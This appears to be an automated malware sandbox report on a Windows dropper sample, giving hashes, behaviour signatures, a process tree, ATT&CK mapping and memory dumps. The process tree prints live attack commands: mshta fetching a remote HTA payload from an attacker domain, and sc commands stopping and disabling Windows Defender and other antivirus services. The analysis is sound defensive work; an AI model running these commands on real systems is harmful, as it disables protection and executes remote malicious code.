Overview

overview

10

Static

static

3

db1cd9eaf8...18.exe

windows7-x64

10

db1cd9eaf8...18.exe

windows10-2004-x64

7

Analysis

  • max time kernel
    150s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    11-09-2024 19:53

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General

  • Target

    db1cd9eaf8b8a2ff4fd6575f6918617a_JaffaCakes118.exe

  • Size

    1.8MB

  • MD5

    db1cd9eaf8b8a2ff4fd6575f6918617a

  • SHA1

    6ced7d5884232ce9d3f7899f7648c3a2c6fdd4e3

  • SHA256

    0dfb99e6447ec9c46861a423c8ab44062292fbeb2b8e21b2a69ed2b394742aed

  • SHA512

    ae21f23c5eb45825d2a0707edbf1ac8a6bd7a4a8b01ddeb7b5e372bde059902c92d8f1586eb185992e41fad427ef1f9b1578c827b5339457fbc0097a8cfd49be

  • SSDEEP

    49152:DzqHCqr7KQVOtCu9KLHbK7tomhGFniKld9YkBU7jCnIivTZ:DkLHKQV0Iq7RhGFniK3qePV

Score
10/10
defense_evasiondiscoveryevasionexecutionpersistencetrojanupx

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://galaint.online-secure-pay.info/?0=112&1=3&2=1&3=32&4=i&5=7601&6=6&7=1&8=99600&9=1033&10=0&11=0000&12=npelpobcvw&14=1

Signatures

  • Disables service(s) 3 TTPs
    evasionexecution
  • UAC bypass 3 TTPs 3 IoCs
    evasiontrojan
  • Disables taskbar notifications via registry modification
    evasion
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 64 IoCs
    persistence
  • Stops running service(s) 4 TTPs
    evasionexecution
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 7 IoCs
  • UPX packed file 21 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    evasiontrojan
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

    defense_evasion
  • Drops file in System32 directory 3 IoCs
  • Launches sc.exe 8 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
    adwarespyware
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 4 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 4 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\db1cd9eaf8b8a2ff4fd6575f6918617a_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\db1cd9eaf8b8a2ff4fd6575f6918617a_JaffaCakes118.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2908
    • C:\Users\Admin\AppData\Local\Temp\RarSFX0\4lliav0ee2hyfkk.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\4lliav0ee2hyfkk.exe" -e -pi1hk5b079r429i1
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1996
      • C:\Users\Admin\AppData\Local\Temp\RarSFX1\46o0op0gu2k9qn8.exe
        "C:\Users\Admin\AppData\Local\Temp\RarSFX1\46o0op0gu2k9qn8.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:1088
        • C:\Users\Admin\AppData\Roaming\Protector-amym.exe
          C:\Users\Admin\AppData\Roaming\Protector-amym.exe
          4⤵
          • UAC bypass
          • Event Triggered Execution: Image File Execution Options Injection
          • Executes dropped EXE
          • Loads dropped DLL
          • Adds Run key to start application
          • Checks whether UAC is enabled
          • Drops file in System32 directory
          • System Location Discovery: System Language Discovery
          • Modifies Internet Explorer settings
          • Modifies system certificate store
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          • System policy modification
          PID:2804
          • C:\Windows\SysWOW64\mshta.exe
            mshta.exe "http://galaint.online-secure-pay.info/?0=112&1=3&2=1&3=32&4=i&5=7601&6=6&7=1&8=99600&9=1033&10=0&11=0000&12=npelpobcvw&14=1"
            5⤵
            • System Location Discovery: System Language Discovery
            • Modifies Internet Explorer settings
            PID:2788
          • C:\Windows\SysWOW64\sc.exe
            sc stop WinDefend
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:2168
          • C:\Windows\SysWOW64\sc.exe
            sc config WinDefend start= disabled
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:1148
          • C:\Windows\SysWOW64\sc.exe
            sc stop msmpsvc
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:1352
          • C:\Windows\SysWOW64\sc.exe
            sc config msmpsvc start= disabled
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:2832
          • C:\Windows\SysWOW64\sc.exe
            sc config ekrn start= disabled
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:2216
          • C:\Windows\SysWOW64\sc.exe
            sc stop AntiVirService
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:380
          • C:\Windows\SysWOW64\sc.exe
            sc config AntiVirService start= disabled
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:2240
          • C:\Windows\SysWOW64\sc.exe
            sc config AntiVirSchedulerService start= disabled
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:892
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\RarSFX1\46O0OP~1.EXE" >> NUL
          4⤵
          • System Location Discovery: System Language Discovery
          PID:3032

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

System Services

2
T1569

Service Execution

2
T1569.002

Persistence

Boot or Logon Autostart Execution

1
T1547

Registry Run Keys / Startup Folder

1
T1547.001

Create or Modify System Process

2
T1543

Windows Service

2
T1543.003

Event Triggered Execution

1
T1546

Image File Execution Options Injection

1
T1546.012

Privilege Escalation

Abuse Elevation Control Mechanism

1
T1548

Bypass User Account Control

1
T1548.002

Boot or Logon Autostart Execution

1
T1547

Registry Run Keys / Startup Folder

1
T1547.001

Create or Modify System Process

2
T1543

Windows Service

2
T1543.003

Event Triggered Execution

1
T1546

Image File Execution Options Injection

1
T1546.012

Defense Evasion

Abuse Elevation Control Mechanism

1
T1548

Bypass User Account Control

1
T1548.002

Impair Defenses

2
T1562

Disable or Modify Tools

1
T1562.001

Indicator Removal

1
T1070

File Deletion

1
T1070.004

Modify Registry

5
T1112

Subvert Trust Controls

1
T1553

Install Root Certificate

1
T1553.004

Credential Access

Discovery

System Information Discovery

2
T1082

System Location Discovery

1
T1614

System Language Discovery

1
T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

2
T1489

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\RarSFX1\46o0op0gu2k9qn8.exe
    Filesize

    1.7MB

    MD5

    ed86d503b0c53ebb13ec3c153d745487

    SHA1

    5280cac37a9dcf0d4cdbff28702bc82b35d1058a

    SHA256

    34b22a9408ab85cd56bec78a26174e60eb082dff99fe3a9bf93a9dd35044b57b

    SHA512

    926847bd9edb84ecfc3afd370e1ee265bd32b9714460ddd3d8d3ead35ef6770879b7cfc00b5b9897c1c8af0623db9d9affa66d7e7f35190688afd1f6e56b021e

    Download Submit

  • \Users\Admin\AppData\Local\Temp\RarSFX0\4lliav0ee2hyfkk.exe
    Filesize

    1.8MB

    MD5

    18248e82d9a03f940502a5b21df6ab2f

    SHA1

    f8bbcc95340d2da891023b169d7055c34ef33350

    SHA256

    5631e021521caf3f1f82dda535cff8aa58ef6a3dd80d2b8fe9338b46996d3044

    SHA512

    bf1bd86a8a1dd68275177d4dedc6a443bb4a1c1d0fa6fc7111cd8834a682bc1252386efa9542be66afa71fbe6f38a20f6966b3995173cda354cf66f3fb0d8a7e

    Download Submit

  • memory/1088-19-0x0000000000400000-0x00000000007D4000-memory.dmp

    Filesize

    3.8MB

    Download

  • memory/1088-32-0x0000000000400000-0x00000000007D4000-memory.dmp

    Filesize

    3.8MB

    Download

  • memory/1088-30-0x0000000004140000-0x0000000004514000-memory.dmp

    Filesize

    3.8MB

    Download

  • memory/1996-43-0x0000000003890000-0x0000000003C64000-memory.dmp

    Filesize

    3.8MB

    Download

  • memory/1996-18-0x0000000003890000-0x0000000003C64000-memory.dmp

    Filesize

    3.8MB

    Download

  • memory/1996-20-0x0000000003890000-0x0000000003C64000-memory.dmp

    Filesize

    3.8MB

    Download

  • memory/2804-45-0x0000000000B20000-0x0000000000B30000-memory.dmp

    Filesize

    64KB

    Download

  • memory/2804-65-0x0000000000400000-0x00000000007D4000-memory.dmp

    Filesize

    3.8MB

    Download

  • memory/2804-41-0x0000000000B20000-0x0000000000B30000-memory.dmp

    Filesize

    64KB

    Download

  • memory/2804-44-0x0000000000400000-0x00000000007D4000-memory.dmp

    Filesize

    3.8MB

    Download

  • memory/2804-46-0x0000000000B20000-0x0000000000B30000-memory.dmp

    Filesize

    64KB

    Download

  • memory/2804-33-0x0000000000400000-0x00000000007D4000-memory.dmp

    Filesize

    3.8MB

    Download

  • memory/2804-47-0x0000000000400000-0x00000000007D4000-memory.dmp

    Filesize

    3.8MB

    Download

  • memory/2804-62-0x0000000000400000-0x00000000007D4000-memory.dmp

    Filesize

    3.8MB

    Download

  • memory/2804-64-0x0000000000400000-0x00000000007D4000-memory.dmp

    Filesize

    3.8MB

    Download

  • memory/2804-40-0x0000000000B20000-0x0000000000B30000-memory.dmp

    Filesize

    64KB

    Download

  • memory/2804-66-0x0000000000400000-0x00000000007D4000-memory.dmp

    Filesize

    3.8MB

    Download

  • memory/2804-67-0x0000000000400000-0x00000000007D4000-memory.dmp

    Filesize

    3.8MB

    Download

  • memory/2804-68-0x0000000000400000-0x00000000007D4000-memory.dmp

    Filesize

    3.8MB

    Download

  • memory/2804-69-0x0000000000400000-0x00000000007D4000-memory.dmp

    Filesize

    3.8MB

    Download

  • memory/2804-70-0x0000000000400000-0x00000000007D4000-memory.dmp

    Filesize

    3.8MB

    Download

  • memory/2804-71-0x0000000000400000-0x00000000007D4000-memory.dmp

    Filesize

    3.8MB

    Download

  • memory/2804-72-0x0000000000400000-0x00000000007D4000-memory.dmp

    Filesize

    3.8MB

    Download

  • memory/2804-73-0x0000000000400000-0x00000000007D4000-memory.dmp

    Filesize

    3.8MB

    Download

  • memory/2804-74-0x0000000000400000-0x00000000007D4000-memory.dmp

    Filesize

    3.8MB

    Download

  • memory/2804-75-0x0000000000400000-0x00000000007D4000-memory.dmp

    Filesize

    3.8MB

    Download